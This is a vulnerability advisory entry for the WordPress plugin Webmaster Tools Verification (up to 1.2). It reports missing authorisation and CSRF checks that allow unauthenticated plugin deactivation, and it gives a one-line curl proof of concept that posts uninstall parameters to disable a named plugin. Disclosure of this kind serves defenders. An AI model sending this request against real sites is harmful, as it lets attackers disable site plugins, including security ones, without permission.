WordPress Plugin Vulnerabilities
Webmaster Tools Verification <= 1.2 - Unauthenticated Arbitrary Plugin Deactivation
Description
The plugin does not have authorisation and CSRF checks when disabling plugins, allowing unauthenticated users to disable arbitrary plugins
Proof of Concept
curl -X POST --data "wmtv_uninstall=1&wmtv_uninstall_confirm=1&plugin=akismet/akismet.php" https://example.com
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-10-19 (about 1 years ago)
Added
2022-10-19 (about 1 years ago)
Last Updated
2022-10-19 (about 1 years ago)